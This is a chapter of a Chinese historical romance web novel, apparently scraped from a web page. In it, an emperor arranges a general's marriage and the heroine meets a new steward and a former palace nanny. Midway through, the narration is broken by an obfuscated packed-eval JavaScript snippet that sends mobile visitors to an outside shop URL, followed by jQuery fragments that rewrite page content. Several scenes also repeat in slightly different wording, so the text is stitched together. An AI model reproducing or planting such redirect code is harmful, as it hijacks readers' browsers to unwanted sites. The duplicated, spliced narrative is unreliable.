赵厚看着他，目光深了深，脸上那点笑意却未减。“前几日德妃宫里见了几个孩子，朕也瞧见了姚家那丫头。模样是好的，难得的是那份沉静气度，瞧着便知书达理。”他顿了顿，语气里带上一种不容置疑的关怀，“与你，真是般配。朕看，不如就由朕来做这个主——”


    “陛下！”霍抉急急抬头，眉眼间尽是挣扎与为难，喉结滚动了几下，仿佛有千言万语堵在胸口，最终只化作一声无力的，“臣……臣实不敢……”


    “好了。”赵厚轻轻打断他，语气仍是温和的，却已带上了天子最终定调的意味，“朕知道你的顾虑。但故人之后，由你亲自照拂，岂不更妥帖？这事儿，就这么定了吧。”


    霍抉僵跪在原地，像是被这突如其来的“恩典”压得说不出话来。他深深垂下头去，肩膀几不可察地微微塌了一下，仿佛终于无奈地接受了命运的安排。


    只有他自己知道，那低垂的眼睫之下，一丝筹谋得计的精光，如何快如闪电般掠过，又迅速湮没在恭顺的阴影里。


    赐婚这件事，便在赵厚的拍板，霍抉为难的推脱不掉的情况下定了下来。


    姚知韫想着，自打那日霍抉说了“成婚”的话，已有五日不曾见他了。


    今日是中秋。桂花香一阵浓一阵淡，随着风飘进院子里。她想着，这样的日子，他或许会回来。


    她便叫小桃去备了些食材。自己挽了袖子，洗手和面，要做些月饼。北方人爱吃甜的，蜜糖的、五仁的馅儿得备上。南方人却喜咸口，酥皮裹着鲜肉，烤出来油润润的，也别有风味。她不知道霍抉是爱甜还是爱咸，这么想着，索性甜的咸的都做一些，总不会错。


    面和得软硬适中，盛在盆里，用湿布盖着。馅料一样样调好，空气里便浮起芝麻香、果仁香，还有淡淡的咸鲜气。


    她想好了，晚间再下厨做几样清爽小菜。她的手艺是极好的，前世的爸妈都夸她有天赋，总能整出新花样。只是因为身体原因，无法实践，她就看着那些食谱，倒是来了这里，有了更多实践的时间，得偿所愿。


    这顿饭，算是谢他这些时日的照拂——尽管那照拂的方式，常常让她有些无可奈何。


    午后的日头，懒洋洋地趴在窗棂上，把她的影子拉得长长的，静悄悄地，融进一地细碎的光斑。


    她如往日般地躺在摇椅上，手中账册滑落，不知不觉便睡了过去。


    霍抉来了，还带了一个人，说是沈知节，关于铺子上的事情都可以交给他。


    午后的日头，懒洋洋地趴在窗棂上，把她的影子拉得长长的，静悄悄地，融进一地细碎的光斑里。


    她歪在摇椅上，像往常一样。手边摊着本账册，看久了，字便有些模糊，眼皮也渐渐沉了。那册子顺着膝头滑下去，落在铺了青砖的地上，发出极轻的一声“嗒”，她也未曾察觉。


    桂花香丝丝缕缕地绕进来，混着秋阳晒透的木头发出的、暖烘烘的干爽气味。她便在这片熟悉的气息里，朦朦胧胧地睡了过去。


    醒来时，日影已斜了一大截。


    摇椅还在微微地晃，身上却多了条薄薄的绒毯。她眨了眨眼，看见霍抉坐在不远处的石凳上，手里也拿着卷书，却似乎没在看，目光落在墙角那丛将败未败的菊花上。


    见她醒了，霍抉放下书卷，站起身走了过来。


    “醒了？”他声音不高，带着惯常的沉稳，眼底却有些许不易察觉的柔和，像深潭水面上忽然掠过一小片暖阳。


    “什么时候回来的？”姚知韫坐起身，薄毯滑落膝上。


    霍抉没答话，只上前一步，将滑落的毯子重新替她披好，仔细地覆在她的腿上，做完这些，他才又坐回原来的石凳上。


    “刚回”，他说着，静了片刻，又道，“我带了两个人来，你见见。”


    说完便挥挥手，青木从廊柱闪出，悄无声息的走了出去，不一会，便带进来两个人。


    “沈知节，是我从北边带回来的人，理账、看人、处置庶务，都妥当，你用着便是。”


    姚知韫看着静静立在眼前的身影，约莫三十出头，穿着半旧的靛蓝直裰，面容清癯，身姿笔挺，当真像一杆经了风霜的修竹，静悄悄地立在那里，不显山，不露水。


    “沈知节，见过姑娘。”他躬身行礼，声音清晰平和，不高不低，恰能让人听清，又不显得突兀。


    姚知韫微微颔首：“沈先生。”


    沈知节不再多言，依旧垂手立着，眼观鼻，鼻观心，只在霍抉或姚知韫问话时，才简短清晰地应答几句。他像是这院子里一道新的、安静的影子，知道该停在何处，也知道何时该显出形状。


    霍抉的目光转向另一位。


    那是一位老嬷嬷，瞧着约莫五十多岁，头发梳得一丝不乱，在脑后绾成个光洁的圆髻，插一支简素的银簪。身上是深青色的袄裙，料子普通，浆洗得却极挺括，边角连一道多余的褶皱也无。她脸上皱纹细密，眼神却清亮，稳稳当当地站在那里，自有一股历经世事沉淀下来的从容气度。


    “这位是常嬷嬷，”霍抉的声音比方才介绍沈知节时，又多了两分郑重，“早年是在宫里当差的，规矩礼仪、人情往来，都极通透。你身边……总得有个稳妥的人时时提点着才好。”


    常嬷嬷闻言，上前两步，在姚知韫面前站定。她并未立刻行礼，而是先抬起眼，目光温煦、端正地落在姚知韫脸上，细细地看了一眼，那眼神里带着一种长辈般的审度，却不叫人觉得冒犯，倒像在确认一件久闻其名、终于得见的旧物。


    然后，她才稳稳地屈膝，行了一个标准而丝毫不显拘谨的礼。


    “老奴常氏，给姑娘请安。”她的声音不高，却有种玉石相击般的清晰质感，吐字不急不缓，听着便让人心安。


    行完礼，她也不急着起身，依旧维持着微微屈膝的姿态，抬起眼，温声道：“往后姑娘屋里屋外、大事小情，您尽管吩咐。”


    说罢，她才缓缓直起身子，依旧退回到霍抉身侧半步之后的位置，双手交叠在身前，姿态恭敬却自然，仿佛她天生就该站在那里。


    姚知韫的目光，轻轻地落在常嬷嬷身上，又缓缓移开，望向院子里那棵沉默的老槐。


    心里头，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144055|195694||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    先是掠过一丝极淡的、被妥善安排后的妥帖。霍抉做事，向来是这样。他不问你要不要，只把最合用的、最周全的，稳稳当当地放到你手边。芙蓉如此，沈知节与常嬷嬷亦是如此。像冬日里递过来的一只暖炉，不问你冷不冷，只让你接着。


    这妥帖底下，却有一缕更细微怅然的凉意，像秋雨打湿的青石板，慢慢地洇开。


    她明白霍抉的用意，她手上没人，母亲名下的产业又是一团乱麻，她有意整治，却也有心无力，如今有了沈知节，外面的事情便迎刃而解了，而常嬷嬷更是如此，她一个孤女，自己在家自然也没什么规矩，若是作为霍抉的妻子，自然不能像以往一样关在家里。


    他们都是她目前必须的人。


    可也正是这份“必需”，恰恰映照出她此刻的“无力”，她想要的自在清净，像捧在手里的清水，终究要从指缝间溜走，霍抉在用他的方式，将她妥帖地纳入一个更安全的“笼子”里，这个笼子金镶玉嵌，处处周到，可她仍是笼中鸟。


    不过，还好，只有三年，三年后，她便自由了，那个时候，天高任鸟飞，海阔凭鱼跃。天大地大，她便可以随心所欲，肆意一生。


    所以，霍抉的这份情，她必须承。


    姚知韫深吸一口气，那气息凉丝丝的，直透肺腑，而后，她抬起眼，望向霍抉，脸上露出一个极淡的笑容来。


    “将军思虑周全，”她声线清浅，像风吹过竹叶，“沈先生与常嬷嬷，都是极好的人选，往后——便要劳烦二位了。”


    她转向常嬷嬷，笑意真切了些：“嬷嬷在宫里见多识广，往后我若有行差踏错之处，还望嬷嬷不吝指点。”


    转身唤了小桃，妥帖地安排常嬷嬷。


    又对沈知节微微颔首：“铺子里的事，琐碎繁杂，就有劳沈先生费心了，关于章程，我整理好再与您商讨。”


    她的态度温和而明确，既表达了接纳，也划下了主从的界限。她不是被动接收的物件，而是即将启用这两位“能臣”的“东家”。这份悄然挺直的脊背，和话语里那份沉静的底气，让一旁静观的霍抉，眼底深处，掠过一丝极难察觉的、混合着欣赏与复杂情绪的光。


    沈知节是外男，姚知韫便唤来了风叔，将人安顿在外院的厢房，一应起居用度都需备得周全。风叔办事妥帖，不多时便领着沈知节去了。


    霍抉挥挥手，青木便上前将一个红木的箱子放在地上。


    霍抉轻轻翻开，“这里是我的一些产业，有庄子，也有良田，还有铺子，之前都是沈知节在打理，以后交给你，这里还有我这些年存下的银票，都是四方钱庄的，你先收着，需要的话，便让沈知节取来。”


    院子里复又安静下来。姚知韫理了理裙裾，正要起身，却被霍抉轻轻按回了摇椅里。


    “不急。”他声音不高，带着一种尘埃落定后的沉稳。


    他略一抬手，一直静候在月洞门外的青木便快步上前，将一个尺半见方的红木箱子稳稳放在地上。那箱子瞧着并不如何华丽，木质却极好，泛着经年摩挲后的暗沉光泽，边角的铜活儿也擦得锃亮。